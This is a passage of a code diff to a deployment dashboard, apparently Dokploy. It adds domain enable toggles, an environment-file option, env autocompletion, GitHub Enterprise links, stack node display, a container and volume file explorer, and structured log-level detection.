 		serverIp: application?.server?.ipAddress?.toString() || ip?.toString(),
 		canCreateDomain,
 		canDeleteDomain,
@@ -265,6 +292,11 @@ export const ShowDomains = ({ id, type }: Props) => {
 						)}
 					</div>
 				</CardHeader>
+				{type === "compose" && data && data.length > 0 && (
+					<div className="px-6 pb-4">
+						<ComposeRedeployAlert />
+					</div>
+				)}
 				<CardContent className="flex w-full flex-row gap-4">
 					{isLoadingDomains ? (
 						<div className="flex w-full flex-row gap-4 min-h-[40vh] justify-center items-center">
@@ -413,7 +445,10 @@ export const ShowDomains = ({ id, type }: Props) => {
 								return (
 									<Card
 										key={item.domainId}
-										className="relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit"
+										className={cn(
+											"relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit",
+											!item.enabled && "opacity-60",
+										)}
 									>
 										<CardContent className="p-6">
 											<div className="flex flex-col gap-4">
@@ -466,18 +501,7 @@ export const ShowDomains = ({ id, type }: Props) => {
 																description="Are you sure you want to delete this domain?"
 																type="destructive"
 																onClick={async () => {
-																	await deleteDomain({
-																		domainId: item.domainId,
-																	})
-																		.then((_data) => {
-																			refetch();
-																			toast.success(
-																				"Domain deleted successfully",
-																			);
-																		})
-																		.catch(() => {
-																			toast.error("Error deleting domain");
-																		});
+																	await handleDeleteDomain(item.domainId);
 																}}
 															>
 																<Button
@@ -492,15 +516,41 @@ export const ShowDomains = ({ id, type }: Props) => {
 														)}
 													</div>
 												</div>
-												<div className="w-full break-all">
-													<Link
-														className="flex items-center gap-2 text-base font-medium hover:underline"
-														target="_blank"
-														href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
-													>
-														{item.host}
-														<ExternalLink className="size-4 min-w-4" />
-													</Link>
+												<div className="flex flex-col gap-3 sm:flex-row sm:items-center sm:justify-between">
+													<div className="w-full break-all">
+														<Link
+															className="flex items-center gap-2 text-base font-medium hover:underline"
+															target="_blank"
+															href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
+														>
+															{item.host}
+															<ExternalLink className="size-4 min-w-4" />
+														</Link>
+													</div>
+													{canCreateDomain && (
+														<TooltipProvider>
+															<Tooltip>
+																<TooltipTrigger asChild>
+																	<div className="flex items-center shrink-0">
+																		<Switch
+																			checked={item.enabled}
+																			onCheckedChange={() =>
+																				handleToggleEnable(item.domainId)
+																			}
+																			disabled={isToggling}
+																		/>
+																	</div>
+																</TooltipTrigger>
+																<TooltipContent>
+																	<p>
+																		{item.enabled
+																			? "Domain is active. Toggle to disable routing without deleting it."
+																			: "Domain is disabled and not routed. Toggle to enable it again."}
+																	</p>
+																</TooltipContent>
+															</Tooltip>
+														</TooltipProvider>
+													)}
 												</div>
 
 												{/* Domain Details */}

apps/dokploy/components/dashboard/application/environment/show-environment.tsx

@@ -5,6 +5,7 @@ import { useForm } from "react-hook-form";
 import { toast } from "sonner";
 import { z } from "zod";
 import { CodeEditor } from "@/components/shared/code-editor";
+import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
 import { Button } from "@/components/ui/button";
 import {
 	Card,
@@ -16,16 +17,20 @@ import {
 import {
 	Form,
 	FormControl,
+	FormDescription,
 	FormField,
 	FormItem,
+	FormLabel,
 	FormMessage,
 } from "@/components/ui/form";
+import { Switch } from "@/components/ui/switch";
 import { Toggle } from "@/components/ui/toggle";
 import { api } from "@/utils/api";
 import type { ServiceType } from "../advanced/show-resources";
 
 const addEnvironmentSchema = z.object({
 	environment: z.string(),
+	createEnvFile: z.boolean(),
 });
 
 type EnvironmentSchema = z.infer<typeof addEnvironmentSchema>;
@@ -54,6 +59,12 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 		? queryMap[type]()
 		: api.mongo.one.useQuery({ mongoId: id }, { enabled: !!id });
 	const [isEnvVisible, setIsEnvVisible] = useState(true);
+	const completionSource = useEnvCompletionSource({
+		projectEnv: data?.environment?.project?.env,
+		environmentEnv: data?.environment?.env,
+		projectId: data?.environment?.projectId,
+		environmentId: data?.environment?.environmentId,
+	});
 
 	const mutationMap = {
 		compose: () => api.compose.saveEnvironment.useMutation(),
@@ -71,18 +82,32 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 	const form = useForm<EnvironmentSchema>({
 		defaultValues: {
 			environment: "",
+			createEnvFile: true,
 		},
 		resolver: zodResolver(addEnvironmentSchema),
 	});
 
 	// Watch form value
 	const currentEnvironment = form.watch("environment");
-	const hasChanges = currentEnvironment !== (data?.env || "");
+	const currentCreateEnvFile = form.watch("createEnvFile");
+	const composeData =
+		type === "compose"
+			? (data as { createEnvFile?: boolean; sourceType?: string } | undefined)
+			: undefined;
+
+	const showCreateEnvFileToggle =
+		type === "compose" &&
+		(composeData?.sourceType !== "raw" || composeData?.createEnvFile === false);
+	const hasChanges =
+		currentEnvironment !== (data?.env || "") ||
+		(showCreateEnvFileToggle &&
+			currentCreateEnvFile !== (composeData?.createEnvFile ?? true));
 
 	useEffect(() => {
 		if (data) {
 			form.reset({
 				environment: data.env || "",
+				createEnvFile: composeData?.createEnvFile ?? true,
 			});
 		}
 	}, [data, form]);
@@ -97,6 +122,9 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 			postgresId: id || "",
 			redisId: id || "",
 			env: formData.environment,
+			...(type === "compose" && {
+				createEnvFile: formData.createEnvFile,
+			}),
 		})
 			.then(async () => {
 				toast.success("Environments Added");
@@ -110,6 +138,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 	const handleCancel = () => {
 		form.reset({
 			environment: data?.env || "",
+			createEnvFile: composeData?.createEnvFile ?? true,
 		});
 	};
 
@@ -176,6 +205,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 													} as CSSProperties
 												}
 												language="properties"
+												completionSource={completionSource}
 												disabled={isEnvVisible}
 												className="font-mono"
 												wrapperClassName="compose-file-editor"
@@ -190,6 +220,34 @@ PORT=3000
 								)}
 							/>
 
+							{showCreateEnvFileToggle && (
+								<FormField
+									control={form.control}
+									name="createEnvFile"
+									render={({ field }) => (
+										<FormItem className="flex flex-row items-center justify-between p-3 border rounded-lg shadow-xs">
+											<div className="space-y-0.5">
+												<FormLabel>Create Environment File</FormLabel>
+												<FormDescription>
+													When enabled, an .env file will be created in the same
+													directory as your compose file on every deploy.
+													Disable this to keep a repository-provided .env; the
+													variables above will then be ignored. Takes effect on
+													the next deploy.
+												</FormDescription>
+											</div>
+											<FormControl>
+												<Switch
+													checked={field.value}
+													onCheckedChange={field.onChange}
+													disabled={!canWrite}
+												/>
+											</FormControl>
+										</FormItem>
+									)}
+								/>
+							)}
+
 							{canWrite && (
 								<div className="flex flex-row justify-end gap-2">
 									{hasChanges && (

apps/dokploy/components/dashboard/application/environment/show.tsx

@@ -3,6 +3,7 @@ import { useEffect } from "react";
 import { useForm } from "react-hook-form";
 import { toast } from "sonner";
 import { z } from "zod";
+import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
 import { Button } from "@/components/ui/button";
 import { Card } from "@/components/ui/card";
 import {
@@ -45,6 +46,13 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 		},
 	);
 
+	const completionSource = useEnvCompletionSource({
+		projectEnv: data?.environment?.project?.env,
+		environmentEnv: data?.environment?.env,
+		projectId: data?.environment?.projectId,
+		environmentId: data?.environment?.environmentId,
+	});
+
 	const form = useForm<EnvironmentSchema>({
 		defaultValues: {
 			env: "",
@@ -142,6 +150,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 							</span>
 						}
 						placeholder={["NODE_ENV=production", "PORT=3000"].join("\n")}
+						completionSource={completionSource}
 					/>
 					{data?.buildType === "dockerfile" && (
 						<Secrets
@@ -163,6 +172,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 								</span>
 							}
 							placeholder="NPM_TOKEN=xyz"
+							completionSource={completionSource}
 						/>
 					)}
 					{data?.buildType === "dockerfile" && (
@@ -185,6 +195,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 								</span>
 							}
 							placeholder="NPM_TOKEN=xyz"
+							completionSource={completionSource}
 						/>
 					)}
 					{data?.buildType === "dockerfile" && (

apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx

@@ -47,6 +47,7 @@ import {
 } from "@/components/ui/tooltip";
 import { cn } from "@/lib/utils";
 import { api } from "@/utils/api";
+import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
 
 const GithubProviderSchema = z.object({
 	buildPath: z.string().min(1, "Path is required").default("/"),
@@ -96,6 +97,11 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 
 	const repository = form.watch("repository");
 	const githubId = form.watch("githubId");
+
+	// Enterprise repositories do not live on github.com.
+	const providerUrl =
+		githubProviders?.find((provider) => provider.githubId === githubId)
+			?.githubUrl ?? DEFAULT_GITHUB_URL;
 	const triggerType = form.watch("triggerType");
 
 	const { data: repositories, isPending: isLoadingRepositories } =
@@ -227,7 +233,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 										<FormLabel>Repository</FormLabel>
 										{field.value.owner && field.value.repo && (
 											<Link
-												href={`https://github.com/${field.value.owner}/${field.value.repo}`}
+												href={`${providerUrl}/${field.value.owner}/${field.value.repo}`}
 												target="_blank"
 												rel="noopener noreferrer"
 												className="flex items-center gap-1 text-sm text-muted-foreground hover:text-primary"

apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx

@@ -114,6 +114,7 @@ export const ShowComposeContainers = ({
 									<TableHead>Name</TableHead>
 									<TableHead>State</TableHead>
 									<TableHead>Status</TableHead>
+									{appType === "stack" && <TableHead>Node</TableHead>}
 									<TableHead>Container ID</TableHead>
 									<TableHead className="text-right" />
 								</TableRow>
@@ -121,8 +122,9 @@ export const ShowComposeContainers = ({
 							<TableBody>
 								{data.map((container) => (
 									<ContainerRow
-										key={container.containerId}
+										key={container.name}
 										container={container}
+										appType={appType}
 										serverId={serverId}
 										serviceId={serviceId}
 										onActionComplete={() => refetch()}
@@ -143,7 +145,9 @@ interface ContainerRowProps {
 		name: string;
 		state: string;
 		status: string;
+		node?: string;
 	};
+	appType: "stack" | "docker-compose";
 	serverId?: string;
 	serviceId?: string;
 	onActionComplete: () => void;
@@ -151,6 +155,7 @@ interface ContainerRowProps {
 
 const ContainerRow = ({
 	container,
+	appType,
 	serverId,
 	serviceId,
 	onActionComplete,
@@ -192,7 +197,13 @@ const ContainerRow = ({
 					variant={
 						container.state === "running"
 							? "default"
-							: container.state === "exited"
+							: [
+										"exited",
+										"pending",
+										"preparing",
+										"starting",
+										"ready",
+									].includes(container.state)
 								? "secondary"
 								: "destructive"
 					}
@@ -201,96 +212,99 @@ const ContainerRow = ({
 				</Badge>
 			</TableCell>
 			<TableCell>{container.status}</TableCell>
+			{appType === "stack" && <TableCell>{container.node || "-"}</TableCell>}
 			<TableCell className="font-mono text-sm text-muted-foreground">
-				{container.containerId}
+				{container.containerId || "-"}
 			</TableCell>
 			<TableCell className="text-right">
-				<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
-					<DropdownMenu>
-						<DropdownMenuTrigger asChild>
-							<Button variant="ghost" className="h-8 w-8 p-0">
-								{actionLoading ? (
-									<Loader2 className="h-4 w-4 animate-spin" />
-								) : (
-									<MoreHorizontal className="h-4 w-4" />
-								)}
-							</Button>
-						</DropdownMenuTrigger>
-						<DropdownMenuContent align="end">
-							<DropdownMenuLabel>Actions</DropdownMenuLabel>
-							<DialogTrigger asChild>
+				{!container.containerId ? null : (
+					<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
+						<DropdownMenu>
+							<DropdownMenuTrigger asChild>
+								<Button variant="ghost" className="h-8 w-8 p-0">
+									{actionLoading ? (
+										<Loader2 className="h-4 w-4 animate-spin" />
+									) : (
+										<MoreHorizontal className="h-4 w-4" />
+									)}
+								</Button>
+							</DropdownMenuTrigger>
+							<DropdownMenuContent align="end">
+								<DropdownMenuLabel>Actions</DropdownMenuLabel>
+								<DialogTrigger asChild>
+									<DropdownMenuItem
+										className="cursor-pointer"
+										onSelect={(e) => e.preventDefault()}
+									>
+										View Logs
+									</DropdownMenuItem>
+								</DialogTrigger>
+								<ShowContainerConfig
+									containerId={container.containerId}
+									serverId={serverId || ""}
+								/>
+								<ShowContainerMounts
+									containerId={container.containerId}
+									serverId={serverId || ""}
+								/>
+								<ShowContainerNetworks
+									containerId={container.containerId}
+									serverId={serverId || ""}
+								/>
+								<DockerTerminalModal
+									containerId={container.containerId}
+									serverId={serverId || ""}
+									serviceId={serviceId}
+								>
+									Terminal
+								</DockerTerminalModal>
+								<DropdownMenuSeparator />
 								<DropdownMenuItem
 									className="cursor-pointer"
-									onSelect={(e) => e.preventDefault()}
+									disabled={actionLoading !== null}
+									onClick={() => handleAction("restart", restartMutation)}
 								>
-									View Logs
+									Restart
 								</DropdownMenuItem>
-							</DialogTrigger>
-							<ShowContainerConfig
-								containerId={container.containerId}
-								serverId={serverId || ""}
-							/>
-							<ShowContainerMounts
-								containerId={container.containerId}
-								serverId={serverId || ""}
-							/>
-							<ShowContainerNetworks
-								containerId={container.containerId}
-								serverId={serverId || ""}
-							/>
-							<DockerTerminalModal
-								containerId={container.containerId}
-								serverId={serverId || ""}
-								serviceId={serviceId}
-							>
-								Terminal
-							</DockerTerminalModal>
-							<DropdownMenuSeparator />
-							<DropdownMenuItem
-								className="cursor-pointer"
-								disabled={actionLoading !== null}
-								onClick={() => handleAction("restart", restartMutation)}
-							>
-								Restart
-							</DropdownMenuItem>
-							<DropdownMenuItem
-								className="cursor-pointer"
-								disabled={actionLoading !== null}
-								onClick={() => handleAction("start", startMutation)}
-							>
-								Start
-							</DropdownMenuItem>
-							<DropdownMenuItem
-								className="cursor-pointer"
-								disabled={actionLoading !== null}
-								onClick={() => handleAction("stop", stopMutation)}
-							>
-								Stop
-							</DropdownMenuItem>
-							<DropdownMenuItem
-								className="cursor-pointer text-red-500 focus:text-red-600"
-								disabled={actionLoading !== null}
-								onClick={() => handleAction("kill", killMutation)}
-							>
-								Kill
-							</DropdownMenuItem>
-						</DropdownMenuContent>
-					</DropdownMenu>
-					<DialogContent className="sm:max-w-7xl">
-						<DialogHeader>
-							<DialogTitle>View Logs</DialogTitle>
-							<DialogDescription>Logs for {container.name}</DialogDescription>
-						</DialogHeader>
-						<div className="flex flex-col gap-4 pt-2.5">
-							<DockerLogsId
-								containerId={container.containerId}
-								serverId={serverId}
-								runType="native"
-								serviceId={serviceId}
-							/>
-						</div>
-					</DialogContent>
-				</Dialog>
+								<DropdownMenuItem
+									className="cursor-pointer"
+									disabled={actionLoading !== null}
+									onClick={() => handleAction("start", startMutation)}
+								>
+									Start
+								</DropdownMenuItem>
+								<DropdownMenuItem
+									className="cursor-pointer"
+									disabled={actionLoading !== null}
+									onClick={() => handleAction("stop", stopMutation)}
+								>
+									Stop
+								</DropdownMenuItem>
+								<DropdownMenuItem
+									className="cursor-pointer text-red-500 focus:text-red-600"
+									disabled={actionLoading !== null}
+									onClick={() => handleAction("kill", killMutation)}
+								>
+									Kill
+								</DropdownMenuItem>
+							</DropdownMenuContent>
+						</DropdownMenu>
+						<DialogContent className="sm:max-w-7xl">
+							<DialogHeader>
+								<DialogTitle>View Logs</DialogTitle>
+								<DialogDescription>Logs for {container.name}</DialogDescription>
+							</DialogHeader>
+							<div className="flex flex-col gap-4 pt-2.5">
+								<DockerLogsId
+									containerId={container.containerId}
+									serverId={serverId}
+									runType="native"
+									serviceId={serviceId}
+								/>
+							</div>
+						</DialogContent>
+					</Dialog>
+				)}
 			</TableCell>
 		</TableRow>
 	);

apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx

@@ -47,6 +47,7 @@ import {
 } from "@/components/ui/tooltip";
 import { cn } from "@/lib/utils";
 import { api } from "@/utils/api";
+import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
 
 const GithubProviderSchema = z.object({
 	composePath: z.string().min(1),
@@ -98,6 +99,11 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
 	const repository = form.watch("repository");
 	const githubId = form.watch("githubId");
 	const triggerType = form.watch("triggerType");
+
+	// Enterprise repositories do not live on github.com.
+	const providerUrl =
+		githubProviders?.find((provider) => provider.githubId === githubId)
+			?.githubUrl ?? DEFAULT_GITHUB_URL;
 	const { data: repositories, isPending: isLoadingRepositories } =
 		api.github.getGithubRepositories.useQuery(
 			{
@@ -220,7 +226,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
 										<FormLabel>Repository</FormLabel>
 										{field.value.owner && field.value.repo && (
 											<Link
-												href={`https://github.com/${field.value.owner}/${field.value.repo}`}
+												href={`${providerUrl}/${field.value.owner}/${field.value.repo}`}
 												target="_blank"
 												rel="noopener noreferrer"
 												className="flex items-center gap-1 text-sm text-muted-foreground hover:text-primary"

apps/dokploy/components/dashboard/compose/logs/show-stack.tsx

@@ -57,7 +57,7 @@ export const ShowDockerLogsStack = ({
 			},
 		);
 
-	const { data: containers, isPending: containersLoading } =
+	const { data, isPending: containersLoading } =
 		api.docker.getContainersByAppNameMatch.useQuery(
 			{
 				appName,
@@ -69,6 +69,8 @@ export const ShowDockerLogsStack = ({
 			},
 		);
 
+	const containers = data?.filter((container) => container.containerId);
+
 	useEffect(() => {
 		if (option === "native") {
 			if (containers && containers?.length > 0) {

apps/dokploy/components/dashboard/database/backups/restore-backup.tsx

@@ -316,7 +316,7 @@ export const RestoreBackup = ({
 					Restore Backup
 				</Button>
 			</DialogTrigger>
-			<DialogContent className="sm:max-w-lg">
+			<DialogContent className="sm:max-w-2xl">
 				<DialogHeader>
 					<DialogTitle className="flex items-center">
 						<RotateCcw className="mr-2 size-4" />

apps/dokploy/components/dashboard/docker/files/files-explorer-modal.tsx

@@ -0,0 +1,401 @@
+import {
+	ChevronRight,
+	Download,
+	File,
+	Folder,
+	FolderOpen,
+	Loader2,
+	RefreshCw,
+	Trash2,
+} from "lucide-react";
+import { useEffect, useMemo, useState } from "react";
+import { toast } from "sonner";
+import { AlertBlock } from "@/components/shared/alert-block";
+import { CodeEditor } from "@/components/shared/code-editor";
+import { DialogAction } from "@/components/shared/dialog-action";
+import { Button } from "@/components/ui/button";
+import {
+	Dialog,
+	DialogContent,
+	DialogDescription,
+	DialogHeader,
+	DialogTitle,
+	DialogTrigger,
+} from "@/components/ui/dialog";
+import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
+import { api } from "@/utils/api";
+
+type Props = {
+	serverId?: string;
+	children?: React.ReactNode;
+	asDropdownItem?: boolean;
+} & (
+	| { containerId: string; volumeName?: undefined }
+	| { volumeName: string; containerId?: undefined }
+);
+
+const joinPath = (base: string, name: string) =>
+	base === "/" ? `/${name}` : `${base}/${name}`;
+
+const decodeBase64 = (base64: string) => {
+	const binary = atob(base64);
+	const bytes = new Uint8Array(binary.length);
+	for (let i = 0; i < binary.length; i++) {
+		bytes[i] = binary.charCodeAt(i);
+	}
+	return bytes;
+};
+
+export const FilesExplorerModal = ({
+	containerId,
+	volumeName,
+	serverId,
+	children,
+	asDropdownItem = true,
+}: Props) => {
+	const [open, setOpen] = useState(false);
+	const [path, setPath] = useState("/");
+	const [selectedFile, setSelectedFile] = useState<string | null>(null);
+	const [editorContent, setEditorContent] = useState("");
+
+	const isVolume = !!volumeName;
+	const utils = api.useUtils();
+
+	const containerEntries = api.docker.listContainerFiles.useQuery(
+		{ containerId: containerId ?? "", path, serverId },
+		{ enabled: open && !isVolume, retry: false },
+	);
+	const volumeEntries = api.dockerVolume.listVolumeFiles.useQuery(
+		{ volumeName: volumeName ?? "", path, serverId },
+		{ enabled: open && isVolume, retry: false },
+	);
+	const {
+		data: entries,
+		isLoading: isLoadingEntries,
+		error: entriesError,
+		refetch: refetchEntries,
+		isRefetching,
+	} = isVolume ? volumeEntries : containerEntries;
+
+	const containerFile = api.docker.readContainerFile.useQuery(
+		{ containerId: containerId ?? "", path: selectedFile ?? "/", serverId },
+		{ enabled: open && !isVolume && !!selectedFile, retry: false },
+	);
+	const volumeFile = api.dockerVolume.readVolumeFile.useQuery(
+		{ volumeName: volumeName ?? "", path: selectedFile ?? "/", serverId },
+		{ enabled: open && isVolume && !!selectedFile, retry: false },
+	);
+	const {
+		data: file,
+		isLoading: isLoadingFile,
+		error: fileError,
+		refetch: refetchFile,
+	} = isVolume ? volumeFile : containerFile;
+
+	const fileBytes = useMemo(
+		() => (file ? decodeBase64(file.content) : null),
+		[file],
+	);
+	const isBinary = useMemo(
+		() => !!fileBytes?.some((byte) => byte === 0),
+		[fileBytes],
+	);
+
+	useEffect(() => {
+		if (fileBytes && !isBinary) {
+			setEditorContent(new TextDecoder().decode(fileBytes));
+		}
+	}, [fileBytes, isBinary]);
+
+	const writeContainerFile = api.docker.writeContainerFile.useMutation();
+	const writeVolumeFile = api.dockerVolume.writeVolumeFile.useMutation();
+	const deleteContainerFile = api.docker.deleteContainerFile.useMutation();
+	const deleteVolumeFile = api.dockerVolume.deleteVolumeFile.useMutation();
+
+	const isSaving = writeContainerFile.isPending || writeVolumeFile.isPending;
+	const isDeleting =
+		deleteContainerFile.isPending || deleteVolumeFile.isPending;
+
+	const saveFile = async () => {
+		if (!selectedFile) return;
+		try {
+			if (isVolume) {
+				await writeVolumeFile.mutateAsync({
+					volumeName,
+					path: selectedFile,
+					content: editorContent,
+					serverId,
+				});
+			} else {
+				await writeContainerFile.mutateAsync({
+					containerId: containerId ?? "",
+					path: selectedFile,
+					content: editorContent,
+					serverId,
+				});
+			}
+			toast.success("File saved");
+			refetchFile();
+		} catch (error) {
+			toast.error(
+				error instanceof Error ? error.message : "Failed to save file",
+			);
+		}
+	};
+
+	const deleteEntry = async (entryPath: string) => {
+		try {
+			if (isVolume) {
+				await deleteVolumeFile.mutateAsync({
+					volumeName,
+					path: entryPath,
+					serverId,
+				});
+				await utils.dockerVolume.listVolumeFiles.invalidate();
+			} else {
+				await deleteContainerFile.mutateAsync({
+					containerId: containerId ?? "",
+					path: entryPath,
+					serverId,
+				});
+				await utils.docker.listContainerFiles.invalidate();
+			}
+			toast.success("Deleted");
+			if (selectedFile === entryPath) {
+				setSelectedFile(null);
+			}
+		} catch (error) {
+			toast.error(error instanceof Error ? error.message : "Failed to delete");
+		}
+	};
+
+	const breadcrumbs = path.split("/").filter(Boolean);
+
+	const navigate = (nextPath: string) => {
+		setPath(nextPath);
+		setSelectedFile(null);
+	};
+
+	const handleOpenChange = (value: boolean) => {
+		setOpen(value);
+		if (!value) {
+			setPath("/");
+			setSelectedFile(null);
+			setEditorContent("");
+		}
+	};
+
+	const downloadFile = () => {
+		if (!fileBytes || !selectedFile) return;
+		const blob = new Blob([fileBytes]);
+		const url = URL.createObjectURL(blob);
+		const anchor = document.createElement("a");
+		anchor.href = url;
+		anchor.download = selectedFile.split("/").pop() ?? "file";
+		anchor.click();
+		URL.revokeObjectURL(url);
+	};
+
+	return (
+		<Dialog open={open} onOpenChange={handleOpenChange}>
+			<DialogTrigger asChild>
+				{asDropdownItem ? (
+					<DropdownMenuItem
+						className="w-full cursor-pointer space-x-3"
+						onSelect={(e) => e.preventDefault()}
+					>
+						{children}
+					</DropdownMenuItem>
+				) : (
+					children
+				)}
+			</DialogTrigger>
+			<DialogContent className="sm:max-w-6xl">
+				<DialogHeader>
+					<DialogTitle className="flex items-center gap-2">
+						<FolderOpen className="size-5" />
+						{isVolume ? "Volume Files" : "Container Files"}
+					</DialogTitle>
+					<DialogDescription>
+						{isVolume
+							? `Browse and edit files inside the "${volumeName}" volume`
+							: "Browse and edit files inside the container's filesystem"}
+					</DialogDescription>
+				</DialogHeader>
+
+				<div className="flex items-center gap-1 text-sm font-mono flex-wrap">
+					<button
+						type="button"
+						className="hover:underline text-muted-foreground"
+						onClick={() => navigate("/")}
+					>
+						/
+					</button>
+					{breadcrumbs.map((segment, index) => (
+						<span
+							key={`/${breadcrumbs.slice(0, index + 1).join("/")}`}
+							className="flex items-center gap-1"
+						>
+							<button
+								type="button"
+								className="hover:underline text-muted-foreground"
+								onClick={() =>
+									navigate(`/${breadcrumbs.slice(0, index + 1).join("/")}`)
+								}
+							>
+								{segment}
+							</button>
+							{index < breadcrumbs.length - 1 && (
+								<ChevronRight className="size-3 text-muted-foreground" />
+							)}
+						</span>
+					))}
+					<Button
+						variant="ghost"
+						size="icon"
+						className="ml-auto size-7"
+						onClick={() => refetchEntries()}
+					>
+						<RefreshCw
+							className={`size-4 ${isRefetching ? "animate-spin" : ""}`}
+						/>
+					</Button>
+				</div>
+
+				<div className="flex gap-4 min-h-[55vh] max-h-[65vh]">
+					<div className="w-72 shrink-0 border rounded-lg overflow-y-auto">
+						{isLoadingEntries ? (
+							<div className="flex h-full items-center justify-center gap-2 text-sm text-muted-foreground p-4">
+								<span>Loading...</span>
+								<Loader2 className="animate-spin size-4" />
+							</div>
+						) : entriesError ? (
+							<div className="p-3">
+								<AlertBlock type="error">{entriesError.message}</AlertBlock>
+							</div>
+						) : (
+							<div className="flex flex-col p-1">
+								{path !== "/" && (
+									<button
+										type="button"
+										className="flex items-center gap-2 rounded-md px-2 py-1.5 text-sm hover:bg-muted text-left"
+										onClick={() =>
+											navigate(`/${breadcrumbs.slice(0, -1).join("/")}` || "/")
+										}
+									>
+										<Folder className="size-4 shrink-0 text-muted-foreground" />
+										..
+									</button>
+								)}
+								{entries?.length === 0 && (
+									<span className="px-2 py-1.5 text-sm text-muted-foreground">
+										Empty directory
+									</span>
+								)}
+								{entries?.map((entry) => {
+									const entryPath = joinPath(path, entry.name);
+									return (
+										<div
+											key={entry.name}
+											className={`group flex items-center rounded-md hover:bg-muted ${
+												selectedFile === entryPath ? "bg-muted" : ""
+											}`}
+										>
+											<button
+												type="button"
+												className="flex flex-1 items-center gap-2 px-2 py-1.5 text-sm text-left min-w-0"
+												onClick={() =>
+													entry.isDirectory
+														? navigate(entryPath)
+														: setSelectedFile(entryPath)
+												}
+											>
+												{entry.isDirectory ? (
+													<Folder className="size-4 shrink-0 text-muted-foreground" />
+												) : (
+													<File className="size-4 shrink-0 text-muted-foreground" />
+												)}
+												<span className="truncate">{entry.name}</span>
+											</button>
+											<DialogAction
+												title={`Delete ${entry.name}?`}
+												description={`This will permanently delete ${entryPath}${entry.isDirectory ? " and all its contents" : ""}.`}
+												onClick={() => deleteEntry(entryPath)}
+											>
+												<Button
+													variant="ghost"
+													size="icon"
+													className="size-7 opacity-0 group-hover:opacity-100 shrink-0"
+													isLoading={isDeleting}
+												>
+													<Trash2 className="size-3.5 text-destructive" />
+												</Button>
+											</DialogAction>
+										</div>
+									);
+								})}
+							</div>
+						)}
+					</div>
+
+					<div className="flex-1 min-w-0 flex flex-col gap-2">
+						{!selectedFile ? (
+							<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
+								Select a file to view or edit it
+							</div>
+						) : isLoadingFile ? (
+							<div className="flex flex-1 items-center justify-center gap-2 text-sm text-muted-foreground rounded-lg border">
+								<span>Loading...</span>
+								<Loader2 className="animate-spin size-4" />
+							</div>
+						) : fileError ? (
+							<AlertBlock type="error">{fileError.message}</AlertBlock>
+						) : (
+							<>
+								<div className="flex items-center gap-2">
+									<span className="text-sm font-mono truncate text-muted-foreground">
+										{selectedFile}
+									</span>
+									<div className="ml-auto flex items-center gap-2">
+										<Button variant="outline" size="sm" onClick={downloadFile}>
+											<Download className="size-4" />
+											Download
+										</Button>
+										<Button
+											size="sm"
+											isLoading={isSaving}
+											disabled={isBinary || file?.truncated}
+											onClick={saveFile}
+										>
+											Save
+										</Button>
+									</div>
+								</div>
+								{file?.truncated ? (
+									<AlertBlock type="warning">
+										This file is larger than 512KB. Showing a truncated preview;
+										editing is disabled. Use Download to get the truncated
+										content or the terminal for full access.
+									</AlertBlock>
+								) : isBinary ? (
+									<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
+										Binary file — use Download instead
+									</div>
+								) : (
+									<div className="flex-1 overflow-auto rounded-lg border">
+										<CodeEditor
+											lineWrapping
+											value={editorContent}
+											onChange={(value) => setEditorContent(value)}
+											wrapperClassName="h-full font-mono"
+										/>
+									</div>
+								)}
+							</>
+						)}
+					</div>
+				</div>
+			</DialogContent>
+		</Dialog>
+	);
+};

apps/dokploy/components/dashboard/docker/logs/utils.ts

@@ -72,8 +72,68 @@ export function parseLogs(logString: string): LogLine[] {
 		.filter((log) => log !== null);
 }
 
+const LEVEL_NAME_TO_TYPE: Record<string, LogType> = {
+	trace: "debug",
+	debug: "debug",
+	info: "info",
+	information: "info",
+	notice: "info",
+	warn: "warning",
+	warning: "warning",
+	error: "error",
+	err: "error",
+	fatal: "error",
+	critical: "error",
+	panic: "error",
+	alert: "error",
+	emergency: "error",
+};
+
+const numericLevelToType = (level: number): LogType => {
+	// pino/bunyan scale: 10=trace 20=debug 30=info 40=warn 50=error 60=fatal
+	if (level >= 50) return "error";
+	if (level >= 40) return "warning";
+	if (level >= 30) return "info";
+	if (level >= 10) return "debug";
+	// syslog/GELF scale: 0=emergency ... 7=debug
+	if (level <= 3) return "error";
+	if (level === 4) return "warning";
+	if (level <= 6) return "info";
+	return "debug";
+};
+
+// Extract the log level explicitly declared by structured loggers
+// (pino, bunyan, winston, zap, slog, logfmt, GCP severity)
+const getExplicitLevelType = (message: string): LogType | null => {
+	// JSON string levels: {"level":"error"} / {"severity":"ERROR"} / {"log.level":"warn"}
+	const jsonStringMatch = message.match(
+		/"(?:level|severity|log\.level|loglevel)"\s*:\s*"([a-z]+)"/i,
+	);
+	if (jsonStringMatch?.[1]) {
+		return LEVEL_NAME_TO_TYPE[jsonStringMatch[1].toLowerCase()] ?? null;
+	}
+
+	// JSON numeric levels: {"level":50}
+	const jsonNumericMatch = message.match(/"level"\s*:\s*(\d{1,2})\b/);
